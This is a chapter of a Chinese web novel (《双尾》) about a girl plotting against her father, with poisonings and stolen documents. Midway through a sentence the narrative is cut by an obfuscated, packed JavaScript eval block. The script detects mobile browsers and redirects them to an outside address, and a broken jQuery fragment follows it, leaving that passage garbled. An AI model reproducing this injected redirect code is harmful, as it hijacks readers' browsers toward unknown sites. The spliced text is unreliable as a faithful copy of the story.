8. 令牌上的传承

作品:《双尾

    黎叁柒看的出暝期的犹豫不决,叫人吃毒药的确是匪夷所思的事情,但不服药,她无法确保对方的忠诚。


    暝期打开药瓶,就见药瓶里静静躺着一粒药丸,他将其服下,苦涩的味道瞬间充斥着整个空腔,他捂住自己的嘴巴,不把毒药吐出来。


    见状,黎叁柒有些意外,她也做好了被拒绝的准备,毕竟暝期与她认识不到两月,就愿意服药臣服自己的可能性很小,但他还是服下了。


    黎叁柒将绿豆甜水推至到他的面前,道:“那我们就是同伴,喝点甜水散散苦味。”


    暝期指了指空掉的药瓶,又指了指黎叁柒,表示自己已经吃了药,黎叁柒想要他做什么。


    黎叁柒道:“我想邀请你跟我一起去东门,我东门那边生意出现了点问题。”


    暝期有些诧异,黎叁柒居然有生意,他歪着头看向黎叁柒,试图想要黎叁柒多说一点。


    黎叁柒道:“坐下来,喝会甜水吧,我去给你拿纸和笔。”


    暝期小幅度的点头,然后坐下小口小口喝着甜水,绿豆甜水的味道冲散了嘴中的苦味,使人忍不住想多喝一点。


    黎叁柒轻车熟路的来到柜子边,从柜子里拿出纸笔墨,将其递给暝期。


    暝期依依不舍的放下甜水,在纸上写上自己的疑惑:


    “你有生意?”


    黎叁柒道:“你不会以为我大不了你多少,也是小屁孩?”


    暝期乌黑的眸子暗了暗,继续写道:“没有。”


    黎叁柒拍着胸脯,承诺道:“放心,你跟着我,我会让你富贵一生,如果你做的好的话,我甚至能包办你的彩礼钱。”


    暝期点了点脑袋。


    ——与此同时,西安黎府。


    黎春生正在闭目养神,而身侧的罗花细腻的给他捶腿,好不快哉。


    一个家丁急匆匆的带着一个木盒跑了进来,呼吸都还没顺过来,就试图讲清楚自己要说的事情,“老老爷,小姐…小姐寄回来东西。”


    黎春生转了个身,所以看盒子的人变成了罗花,罗花打开后,就吓的将盒子扔了出去。


    盒子在空中翻转,里面的肉块都飞散了出来,看着罗花一阵恶心。


    黎春生直起身子,原本疑惑的神情,触及到地上的肉块,脸色瞬间变了,他询问刚刚送盒子来的家丁,“你确定是小姐送来的?”


    家丁跪在地上,道:“是的,老爷,千真万确,甚至……还有一封信。”


    黎春生看着傻愣愣的家丁还跪在那,没好气道:“拿过来。”


    家丁立马上前,从衣袖里拿出信,随后退后回答原位跪着。


    黎春生将信暴力撕开,展开信,就见黎叁柒写的:


    爹爹,此婢两位,半夜蹲守我房,我误以为是刺客,却发现原来是虚惊一场。此婢女两位,我已经严惩,特送来给爹爹看看,还望爹爹喜欢。


    落笔,黎叁柒。


    信封被黎春生抓成了一团,他只能看不懂这些话的意思,黎叁柒越说的委婉,越是阴阳怪气,自己却无法挑出错误来。


    罗花看着地上的肉末,赶忙让人快速过来清理,她看着就忍不住想吐,顺势躺进黎春生的怀里,矫揉造作的指着黎春生的胸口,“吓死人家拉~叁柒怎么回事?”


    黎春生连忙安抚的拍了拍罗花的肩膀,“没事,等黎叁柒回来,我会好好教育她的。”


    罗花不满的拍了拍黎春生,“怎么能这般对小孩呢,小孩还小呢~”


    这夹着声音说话,给旁边的家丁听的一身就鸡皮疙瘩都起来了。


    ——


    深夜。


    椿儿换了一袭黑衣,藏匿在暮色里,她听从黎叁柒的的指示,回到了西安,回到熟悉的府邸。


    她站在屋檐上,等待着时机成熟的时候。


    看着府邸的烛火一盏盏熄灭,椿儿便将脚下屋檐的瓦片放到一旁,看着下面伸手不见五指的黑暗,她没有犹豫,直接跳下去。


    脑海里想起黎叁柒所说的细节:


    “一般的卖身契基本都在人渣办事的书房里,在他木桌旁边的柜子里,盲猜药也会那,毕竟他的书房可是禁地的存在。”


    椿儿从衣服里掏出一枚火折子和火柴盒,“嚓”的一声,光亮争先恐后的爆发出来,将周围照亮。


    椿儿快速翻找着周围的柜子,翻找了一通,竟然看见了不少的画和图纸,她将全部拿出来,将火折子靠近些许,瞳孔猛的紧缩,她似乎发现了什么不得了的真相。


    画和图纸实数多了些,也只能取舍一部分,她将画和图纸用绳子绑好,继续找卖身契和解药。


    几分钟后,她看着两瓶药陷入难尽,一般来说,解药只会有一种,现在有两种,而且还不能确定是不是解药。


    看她不认识草药,索性全部带回去以防万一。


    比起这次收获,椿儿这次的收获颇多,甚至能让黎叁柒的怒火更上一层楼。


    事实也是如此,看着一张张画像摆放出来,图纸的摊开,黎叁柒的脸色越来越黑,她骂人渣都是夸他了。


    黎叁柒被气笑,“恶心。”


    她高估了黎春生的手段,他利用枫生歌对爱模糊二字,用尽虚伪骗到了不少的好处,一张张图纸都被黎春生这个老不死的吞并了,怪不得那么黎春生发财发的那么香了,有祖父的事业再加上枫生歌的发明,这妥妥是人生赢家啊。


    她真想现在就弄死这小人。


    椿儿给她拍了拍背顺气,“小姐,太晚了,生气伤身。”


    黎叁柒深呼吸几声,平息自己的怒意,待平静点后,伸出手道:“把药给我吧。”


    椿儿道:“我在他那边找到了两瓶,不确定是不是解药。”


    黎叁柒接过其中一个药瓶,打开闻了闻,她一吻瞬间就知道了里面的大致成分,里面有不少毒虫的液体融汇而成,看来黎春生花了大价钱整来这一瓶毒药。


    另一个也打开来,与上一瓶一样都是毒药,黎叁柒道:“这里都没有解药,我猜黎春生就没想留下这些婢女家丁的性命,看来他还是有些了解我的。要是事情败露,婢女家丁都死了,甚至还能把这件事算我头上。”


    椿儿道:“那接下来呢?”


    黎叁柒直接将手中的毒药一饮而尽,砸吧砸吧嘴,“味道还行,没我做的恶心,把我药箱拿来,我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279644|166774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    调配一下。”


    椿儿已经见怪不怪了,她“喏”了一声,便到旁边的柜子里找药箱。


    黎叁柒饮完后,只感觉到冰冷直窜脑门,她的脑子隐隐有些痛,看着椿儿将药箱打开放置跟前,她便捣腾起来。


    椿儿将东西放置好后,缓缓起身,将周围多余的烛火给吹灭,只留下一只蜡烛在桌面上。


    今夜的夜色浓厚,月光皎洁,屋内的烛火亮了一夜。


    次日,黎叁柒带着椿儿来到婢女的房间,让其他家丁都在外面等候。


    看着两人痛苦的躺在床上,她示意椿儿现在动手。


    两位婢女面对她们还是一脸恐惧之色,可她们又不能反抗,椿儿一手一个将人暴力拽到黎叁柒跟前跪着。


    两人惊魂未定的跪在地上开始求饶,“小姐,饶命啊,我们下有老,我们都是……”


    没等婢女说完,椿儿靠近其中一个,伸手就将人拉近自己面前,她笑道:“小姐给你们赐你们好东西喝,来喝点。”


    婢女看着椿儿手中的药瓶,眼神惊恐,抿紧嘴死命摇头,椿儿可不管,直接掐着对方的嘴就往里灌。


    一声脆响,药瓶摔在地上四分五裂的声音,传到外面,惊得外面守着门的家丁腿止不住的打颤。


    黎叁柒看着外面晃动的人影,露出了渗人的笑容道:“上次的惩罚不够,我仔细思索了一下,我要是还留你们在这里,这不是养虎为患嘛。”看着两个婢女害怕得都尿失禁,她不禁怀疑自己真的这么可怕,她压低声音道:“黎春生给你下的毒我已经给你们解了,你们家人都很安全,明日便归乡去吧。”


    听到毒药二字,两人先是一愣,黎叁柒居然不是让她们死。


    其中一个颤颤巍巍道:“小姐你是如何知道的。”


    只见女孩食指放在粉唇边,侵着寒霜的杏仁眼凝望着两人,“嘘,想活着就归乡,废话不要太多。”


    门敞开,也让家丁看清里面的画面,两人失神的紧挨在一起,尿骚味散发出来,好不恶心。


    黎叁柒小声道:“该走下一步。”


    ——


    晨阳上升,夕阳落幕,夜色和清晨融合,红色的烛火灭了又点,桌前的女孩提笔又落下,来至三日后。


    黎叁柒还得在黎春生的家丁面前演戏,她先是将包袱等东西放置在暝期屋内,好到时候与椿儿互换身份以及离开。


    暝期要先来做告别,以病好的差不多为由离开寺庙,毕竟常出现在信件里的人突然消失,很难不让人多疑。


    此时房中,晨光透过窗户照射进屋内,洒在了金色令牌上,尘埃在光柱中肆意飞舞,围绕着令牌旋转跳跃,它安静地被人握在手中,却好似有着千钧之重,承载着很多传承下来的前朝往事。


    暝期眼神深邃的看着手中的令牌,令牌上刻着皇令二字,此令牌上还残存着干涸的血迹,无一在提醒着他,这块令牌之下,是多少子民的鲜血,是多少子民的期望,齐国已覆,沦为阶下囚的子民们,又在何处饱受摧残。


    想到这,暝期眼里都是对化国的恨意。


    如今,他要借黎叁柒之手,用她做掩护,将手伸向王朝。